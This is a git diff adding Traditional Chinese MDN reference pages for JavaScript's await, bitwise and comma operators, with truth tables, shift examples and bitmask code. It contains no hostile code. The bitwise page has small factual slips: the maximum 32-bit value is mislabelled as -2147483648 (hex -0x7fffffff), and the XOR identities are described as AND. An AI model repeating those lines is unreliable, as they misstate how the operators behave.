+<p>若將 Promise 物件傳給 await 運算式，它會等待 Promise 解析並回傳 resolve 後的值。</p>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+async function f1() {
+  var x = await resolveAfter2Seconds(10);
+  console.log(x); // 10
+}
+f1();
+</pre>
+
+<p>若傳給 await 的值並非一個 Promise 物件，它會將該值轉換為 resolved Promise，並等待之。</p>
+
+<pre class="brush: js">async function f2() {
+  var y = await 20;
+  console.log(y); // 20
+}
+f2();</pre>
+
+<p>若 Promise 被 reject，則丟出 reject 後的異常值。</p>
+
+<pre class="brush: js">async function f3() {
+  try {
+    var z = await Promise.reject(30);
+  } catch(e) {
+    console.log(e); // 30
+  }
+}
+f3();</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async functions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ES2017中初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatChrome(55)}}</td>
+   <td>{{CompatGeckoDesktop("52.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>10.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("52.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>10.1</td>
+   <td>{{CompatChrome(55)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/bitwise_operators/index.html b/files/zh-tw/web/javascript/reference/operators/bitwise_operators/index.html
new file mode 100644
index 0000000000..ed5df1092b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/bitwise_operators/index.html
@@ -0,0 +1,554 @@
+---
+title: 位元運算子
+slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>位元運算子</strong>將運算元視為一段 32 位元長的 0 和 1 序列，而不是十進位、十六進位或八進位的 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Numbers</a></code>。 舉例來說，十進位的 9 可以用二進位表示為 1001。位元運算子對這樣的二進位表示法進行運算，然後回傳標準 JavaScript 數值。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-bitwiseoperators.html")}}</div>
+
+
+
+<p>下表總結了 JavaScript 的位元運算子：</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Operator</th>
+   <th>Usage</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#(位元_AND)">位元 AND</a></td>
+   <td><code>a &amp; b</code></td>
+   <td>當兩運算元的該位置皆為 <code>1</code> 時，回傳值的該位置為 <code>1</code>。</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#(位元_OR)">位元 OR</a></td>
+   <td><code>a | b</code></td>
+   <td>當兩運算元的該位置有一者為 <code>1</code> 時，回傳值的該位置為 <code>1</code>。</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#(位元_XOR)">位元 XOR</a></td>
+   <td><code>a ^ b</code></td>
+   <td>當兩運算元的該位置恰好一者為 <code>1</code> 時，回傳值的該位置為 <code>1</code>。</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#(位元_NOT)">位元 NOT</a></td>
+   <td><code>~ a</code></td>
+   <td>將運算元的所有位元反轉。</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#%3C%3C_(左移)">左移</a></td>
+   <td><code>a &lt;&lt; b</code></td>
+   <td>將 <code>a</code> 的二進位表示法左移 <code>b</code> (&lt; 32) 位元，右側補 <code>0</code>。</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#%3E%3E_(保持符號右移)">保持符號右移</a></td>
+   <td><code>a &gt;&gt; b</code></td>
+   <td>將 <code>a</code> 的二進位表示法右移 <code>b</code> (&lt; 32) 位元，拋棄被移出的位元。</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#%3E%3E%3E_(填零右移)">填零右移</a></td>
+   <td><code>a &gt;&gt;&gt; b</code>  </td>
+   <td>將 <code>a</code> 的二進位表示法右移 <code>b</code> (&lt; 32) 位元，拋棄被移出的位元，並於右側補 <code>0</code>。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="帶號的_32位元整數">帶號的 32位元整數</h2>
+
+<p>所有位元運算子的運算元皆會被轉換成二<a href="https://en.wikipedia.org/wiki/Method_of_complements">補數系統</a>下的帶號32位元整數。二補數系統意味著一個整數的加法反元素(例如 5和 -5)是該整數的所有位元反轉(位元 NOT，也就是該數的一補數) 再加一。舉例來說，下面的序列代表著整數 314：</p>
+
+<pre class="brush: js">00000000000000000000000100111010
+</pre>
+
+<p>下面的序列代表 <code>~314</code>，也就是 <code>314</code> 的一補數：</p>
+
+<pre class="brush: js">11111111111111111111111011000101
+</pre>
+
+<p>接著，下面代表著 <code>-314</code>，也就是 <code>314</code> 的二補數：</p>
+
+<pre class="brush: js">11111111111111111111111011000110
+</pre>
+
+<p>二補數系統確保了正值時最左邊的位元為 0，反之則為 1。因此，最左邊的位元被稱作符號位。</p>
+
+<p>整數 <code>0</code> 全由位元 0組成。</p>
+
+<pre class="brush: js">0 (base 10) = 00000000000000000000000000000000 (base 2)
+</pre>
+
+<p>整數 <code>-1</code> 全由位元 1組成。</p>
+
+<pre class="brush: js">-1 (base 10) = 11111111111111111111111111111111 (base 2)
+</pre>
+
+<p>整數 <code>-2147483648</code> (十六進位： <code>-0x80000000</code>) 除了第一位為 1，其餘皆由位元 0組成。</p>
+
+<pre class="brush: js">-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
+</pre>
+
+<p>整數 <code>-2147483648</code> (十六進位： <code>-0x7fffffff</code>) 除了第一位為 0，其餘皆由位元 1組成。</p>
+
+<pre class="brush: js">2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
+</pre>
+
+<p>整數 <code>-2147483648</code> 和 <code>2147483647</code> 分別為帶號32位元整數所能表示的最小值和最大值。</p>
+
+<h2 id="位元邏輯運算子">位元邏輯運算子</h2>
+
+<p>大致上，位元邏輯運算子的運作如下︰</p>
+
+<ul>
+ <li>運算元會被轉換成 32位元的整數，並被表達為一系列的位元 (0 和 1)。多於 32位元的數值在轉換中其超出第32位元的部分會被捨棄。下面的多於32位元整數在被轉換時：
+  <pre class="brush: js">Before: 11100110111110100000000000000110000000000001
+After:              10100000000000000110000000000001</pre>
+ </li>
+ <li>兩個運算元中的位元會根據其位置兩兩一組：第一個跟第一個、第二個跟第二個 ...</li>
+ <li>運算子會作用在每一組位元上，運算完成後再重新組合起來得到回傳值。</li>
+</ul>
+
+<h3 id="(位元_AND)"><a id="Bitwise_AND" name="Bitwise_AND">&amp; (位元 AND)</a></h3>
+
+<p>對每一組位元執行 AND 運算。<code>a</code> AND <code>b</code> 只在 <code>a</code> 和 <code>b</code> 同時為 <code>1</code> 時得到 1。AND運算的真值表如下：</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a AND b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: js">.    9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 &amp; 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+</pre>
+
+<p>將任何數 <code>x</code> 和 <code>0</code> 做位元 AND 皆會得到 <code>0</code>。將任何數 <code>x</code> 和 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">-1</span></font> 做位元 AND 皆會得到 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">x</span></font>。</p>
+
+<h3 id="(位元_OR)"><a name="Bitwise_OR">| (位元 OR)</a></h3>
+
+<p>對每一組位元執行 OR 運算。<code>a</code> OR <code>b</code> 在 <code>a</code> 和 <code>b</code> 有一者為 <code>1</code> 時得到 1。OR運算的真值表如下：</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a OR b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: js">.    9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
+</pre>
+
+<p>將任何數 <code>x</code> 和 <code>0</code> 做位元 OR 皆會得到 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">x</span></font>。將任何數 <code>x</code> 和 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">-1</span></font> 做位元 OR 皆會得到 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">-1</span></font>。</p>
+
+<h3 id="(位元_XOR)"><a name="Bitwise_XOR">^ (位元 XOR)</a></h3>
+
+<p>對每一組位元執行 XOR 運算。<code>a</code> XOR <code>b</code> 只在 <code>a</code> 和 <code>b</code> 恰一者為 <code>1</code> 時得到 1。XOR運算的真值表如下：</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a XOR b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: js">.    9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
+</pre>
+
+<p>將任何數 <code>x</code> 和 <code>0</code> 做位元 AND 皆會得到 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">x</span></font>。將任何數 <code>x</code> 和 <font face="consolas, Liberation Mono, courier, monospace">-1</font> 做位元 AND 皆會得到 <code>~x</code>。</p>
+
+<h3 id="(位元_NOT)"><a name="Bitwise_NOT">~ (位元 NOT)</a></h3>
+
+<p>對每一個位元執行 NOT 運算。NOT <code>a</code> 會得到 <code>a</code> 的反轉值(也就是一補數)。NOT運算的真值表如下：</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">NOT a</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: js"> 9 (base 10) = 00000000000000000000000000001001 (base 2)
+               --------------------------------
+~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
+</pre>
+
+<p>將任何數 <code>x</code> 做位元 NOT 皆會得到 <code>-(x + 1)</code>。舉例來說，<code>~-5</code> 會得到 <code>4</code>。</p>
+
+<p>值得注意的是，因為使用 32位元表示法表示數值 <code>~-1</code> 和 <code>~4294967295</code> (2<sup>32</sup>-1) 皆會得到 <code>0</code>。</p>
+
+<h2 id="位元位移運算子">位元位移運算子</h2>
+
+<p>位移運算子需要兩個運算元：第一個是要被位移的值，第二個是位元位移量。位移的方向取決於使用的運算子。</p>
+
+<p>位移運算子將運算元轉換成 32位元的大端序整數並回傳一個與左運算元相同類別的值。右運算元應不大於32，如果超過的話，將只會使用後 5個位元。</p>
+
+<h3 id="&lt;&lt;_(左移)"><a name="Left_shift">&lt;&lt; (左移)</a></h3>
+
+<p>將第一個運算元向左位移指定的量。被移出的位元會被拋棄，並從右側補零。</p>
+
+<p>例如，<code>9 &lt;&lt; 2</code> 會得到 36：</p>
+
+<pre class="brush: js">.    9 (base 10): 00000000000000000000000000001001 (base 2)
+                  --------------------------------
+9 &lt;&lt; 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10)
+</pre>
+
+<p>將任意值 <code>x</code> 左移 <code>y</code> 位元會得到 <code>x * 2 ** y</code>。</p>
+
+<h3 id=">>_(保持符號右移)"><a name="Right_shift">&gt;&gt; (保持符號右移)</a></h3>
+
+<p>將第一個運算元向右位移指定的量。被移出的位元會被拋棄，並從左側補進和原本最左端相同的位元值。因為新的最左端位元和原本的最左端位元是一樣的，符號位(最左端位元)並不會改變。「保持符號」之名便是因此。</p>
+
+<p>例如，<code>9 &gt;&gt; 2</code> 會得到 2：</p>
+
+<pre class="brush: js">.    9 (base 10): 00000000000000000000000000001001 (base 2)
+                  --------------------------------
+9 &gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>同樣地，<code>-9 &gt;&gt; 2</code> 會得到 <code>-3</code>，因為符號會保持不變。</p>
+
+<pre class="brush: js">.    -9 (base 10): 11111111111111111111111111110111 (base 2)
+                   --------------------------------
+-9 &gt;&gt; 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10)
+</pre>
+
+<h3 id=">>>_(填零右移)"><a name="Unsigned_right_shift">&gt;&gt;&gt; (填零右移)</a></h3>
+
+<p>將第一個運算元向右位移指定的量。被移出的位元會被拋棄，並從左側補零。因為符號位變成 0，所以結果永遠都是正值。</p>
+
+<p>對非負的數來說，填零右移會得到和保持符號右移一樣的結果。例如，<code>9 &gt;&gt;&gt; 2</code> 和 <code>9 &gt;&gt; 2</code> 一樣，皆會得到 2：</p>
+
+<pre class="brush: js">.     9 (base 10): 00000000000000000000000000001001 (base 2)
+                   --------------------------------
+9 &gt;&gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>然而對負值來說並不是這麼一回事。例如，<code>-9 &gt;&gt;&gt; 2</code> 會得到 1073741821，跟 <code>-9 &gt;&gt; 2</code> (得到 <code>-3</code>)的結果是不一樣的：</p>
+
+<pre class="brush: js">.     -9 (base 10): 11111111111111111111111111110111 (base 2)
+                    --------------------------------
+-9 &gt;&gt;&gt; 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="旗標(flags)_和遮罩_(bitmasks)">旗標(flags) 和遮罩 (bitmasks)</h3>
+
+<p>位元運算子常被用於生成、修改、和讀取旗標序列，就像是二進制的變數一般。雖然也可以使用普通變數，但使用二進制的旗標序列大大的減少了所需空間 (32 倍)。</p>
+
+<p>假設有 4個旗標：</p>
+
+<ul>
+ <li>旗標 A：我們有螞蟻問題</li>
+ <li>旗標 B：我們擁有一隻蝙蝠</li>
+ <li>旗標 C：我們擁有一隻貓</li>
+ <li>旗標 D：我們擁有一隻鴨子</li>
+</ul>
+
+<p>這些旗標倍表達成一個位元序列：DCBA。當一個旗標被立起 (set)時，其值為1。當一個旗標被放下 (clear)，其值為0。假設有一變數 <code>flags</code> 的二進位值為 0101：</p>
+
+<pre class="brush: js">var flags = 5;   // 二進位 0101
+</pre>
+
+<p>這個值表示：</p>
+
+<ul>
+ <li>旗標 A為真 (我們有螞蟻問題);</li>
+ <li>旗標 B為假 (我們並未擁有一隻蝙蝠);</li>
+ <li>旗標 C為真 (我們擁有一隻貓);</li>
+ <li>旗標 D為假 (我們並未擁有一隻鴨子);</li>
+</ul>
+
+<p>因為位元運算子進行的是 32位元操作，0101 實際上是 00000000000000000000000000000101，但前導的 0可被忽略因為他們沒有實際上的意義。</p>
+
+<p>位元遮罩則為一個可以修改且(或)讀取旗標序列的位元序列。通常為每個單獨旗標為真的「初始」值：</p>
+
+<pre class="brush: js">var FLAG_A = 1; // 0001
+var FLAG_B = 2; // 0010
+var FLAG_C = 4; // 0100
+var FLAG_D = 8; // 1000
+</pre>
+
+<p>新的位元遮罩可以透過對初始遮罩進行位元運算獲得。例如，遮罩 1011 可以透過對 FLAG_A、FLAG_B、和 FLAG_D進行 OR運算獲得：</p>
+
+<pre class="brush: js">var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 =&gt; 1011
+</pre>
+
+<p>Individual flag values can be extracted by ANDing them with a bitmask, where each bit with the value of one will "extract" the corresponding flag. The bitmask <em>masks</em> out the non-relevant flags by ANDing with zeroes (hence the term "bitmask"). For example, the bitmask 0100 can be used to see if flag C is set:</p>
+
+<pre class="brush: js">// if we own a cat
+if (flags &amp; FLAG_C) { // 0101 &amp; 0100 =&gt; 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<p>A bitmask with multiple set flags acts like an "either/or". For example, the following two are equivalent:</p>
+
+<pre class="brush: js">// if we own a bat or we own a cat
+// (0101 &amp; 0010) || (0101 &amp; 0100) =&gt; 0000 || 0100 =&gt; true
+if ((flags &amp; FLAG_B) || (flags &amp; FLAG_C)) {
+   // do stuff
+}
+</pre>
+
+<pre class="brush: js">// if we own a bat or cat
+var mask = FLAG_B | FLAG_C; // 0010 | 0100 =&gt; 0110
+if (flags &amp; mask) { // 0101 &amp; 0110 =&gt; 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<p>Flags can be set by ORing them with a bitmask, where each bit with the value one will set the corresponding flag, if that flag isn't already set. For example, the bitmask 1100 can be used to set flags C and D:</p>
+
+<pre class="brush: js">// yes, we own a cat and a duck
+var mask = FLAG_C | FLAG_D; // 0100 | 1000 =&gt; 1100
+flags |= mask;   // 0101 | 1100 =&gt; 1101
+</pre>
+
+<p>Flags can be cleared by ANDing them with a bitmask, where each bit with the value zero will clear the corresponding flag, if it isn't already cleared. This bitmask can be created by NOTing primitive bitmasks. For example, the bitmask 1010 can be used to clear flags A and C:</p>
+
+<pre class="brush: js">// no, we don't have an ant problem or own a cat
+var mask = ~(FLAG_A | FLAG_C); // ~0101 =&gt; 1010
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>The mask could also have been created with <code>~FLAG_A &amp; ~FLAG_C</code> (De Morgan's law):</p>
+
+<pre class="brush: js">// no, we don't have an ant problem, and we don't own a cat
+var mask = ~FLAG_A &amp; ~FLAG_C;
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>Flags can be toggled by XORing them with a bitmask, where each bit with the value one will toggle the corresponding flag. For example, the bitmask 0110 can be used to toggle flags B and C:</p>
+
+<pre class="brush: js">// if we didn't have a bat, we have one now,
+// and if we did have one, bye-bye bat
+// same thing for cats
+var mask = FLAG_B | FLAG_C;
+flags = flags ^ mask;   // 1100 ^ 0110 =&gt; 1010
+</pre>
+
+<p>Finally, the flags can all be flipped with the NOT operator:</p>
+
+<pre class="brush: js">// entering parallel universe...
+flags = ~flags;    // ~1010 =&gt; 0101
+</pre>
+
+<h3 id="Conversion_snippets">Conversion snippets</h3>
+
+<p>Convert a binary <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> to a decimal <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code>:</p>
+
+<pre class="brush: js">var sBinString = '1011';
+var nMyNumber = parseInt(sBinString, 2);
+alert(nMyNumber); // prints 11, i.e. 1011
+</pre>
+
+<p>Convert a decimal <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code> to a binary <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code>:</p>
+
+<pre class="brush: js">var nMyNumber = 11;
+var sBinString = nMyNumber.toString(2);
+alert(sBinString); // prints 1011, i.e. 11
+</pre>
+
+<h3 id="Automate_Mask_Creation">Automate Mask Creation</h3>
+
+<p>You can create multiple masks from a set of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></code> values, like this:</p>
+
+<pre class="brush: js">function createMask() {
+  var nMask = 0, nFlag = 0, nLen = arguments.length &gt; 32 ? 32 : arguments.length;
+  for (nFlag; nFlag &lt; nLen; nMask |= arguments[nFlag] &lt;&lt; nFlag++);
+  return nMask;
+}
+var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011
+var mask2 = createMask(false, false, true); // 4, i.e.: 0100
+var mask3 = createMask(true); // 1, i.e.: 0001
+// etc.
+
+alert(mask1); // prints 11, i.e.: 1011
+</pre>
+
+<h3 id="Reverse_algorithm_an_array_of_booleans_from_a_mask">Reverse algorithm: an array of booleans from a mask</h3>
+
+<p>If you want to create an <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Booleans</a></code> from a mask you can use this code:</p>
+
+<pre class="brush: js">function arrayFromMask(nMask) {
+  // nMask must be between -2147483648 and 2147483647
+  if (nMask &gt; 0x7fffffff || nMask &lt; -0x80000000) {
+    throw new TypeError('arrayFromMask - out of range');
+  }
+  for (var nShifted = nMask, aFromMask = []; nShifted;
+       aFromMask.push(Boolean(nShifted &amp; 1)), nShifted &gt;&gt;&gt;= 1);
+  return aFromMask;
+}
+
+var array1 = arrayFromMask(11);
+var array2 = arrayFromMask(4);
+var array3 = arrayFromMask(1);
+
+alert('[' + array1.join(', ') + ']');
+// prints "[true, true, false, true]", i.e.: 11, i.e.: 1011
+</pre>
+
+<p>You can test both algorithms at the same time…</p>
+
+<pre class="brush: js">var nTest = 19; // our custom mask
+var nResult = createMask.apply(this, arrayFromMask(nTest));
+
+alert(nResult); // 19
+</pre>
+
+<p>For the didactic purpose only (since there is the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number/toString">Number.toString(2)</a></code> method), we show how it is possible to modify the <code>arrayFromMask</code> algorithm in order to create a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> containing the binary representation of a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code>, rather than an <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Booleans</a></code>:</p>
+
+<pre class="brush: js">function createBinaryString(nMask) {
+  // nMask must be between -2147483648 and 2147483647
+  for (var nFlag = 0, nShifted = nMask, sMask = ''; nFlag &lt; 32;
+       nFlag++, sMask += String(nShifted &gt;&gt;&gt; 31), nShifted &lt;&lt;= 1);
+  return sMask;
+}
+
+var string1 = createBinaryString(11);
+var string2 = createBinaryString(4);
+var string3 = createBinaryString(1);
+
+alert(string1);
+// prints 00000000000000000000000000001011, i.e. 11
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.7')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.8">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.7">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.10">Binary bitwise operators</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-bitwise-shift-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-bitwise-operators">Binary bitwise operators</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-bitwise-shift-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://tc39.github.io/ecma262/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://tc39.github.io/ecma262/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-bitwise-operators">Binary bitwise operators</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.operators.bitwise")}}</p>
+
+<h2 id="另見">另見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators">Logical operators</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/comma_operator/index.html b/files/zh-tw/web/javascript/reference/operators/comma_operator/index.html
new file mode 100644
index 0000000000..3324cb156b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/comma_operator/index.html
@@ -0,0 +1,145 @@
+---
+title: 逗號運算子
+slug: Web/JavaScript/Reference/Operators/Comma_Operator
+translation_of: Web/JavaScript/Reference/Operators/Comma_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>The<strong> comma operator</strong> evaluates each of its operands (from left to right) and returns the value of the last operand.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>expr1</em>, <em>expr2, expr3...</em></pre>
+
+<h2 id="參數">參數</h2>
+
+<dl>
+ <dt><code>expr1</code>, <code>expr2, expr3...</code></dt>
+ <dd>Any expressions.</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>You can use the comma operator when you want to include multiple expressions in a location that requires a single expression. The most common usage of this operator is to supply multiple parameters in a <code>for</code> loop.</p>
+
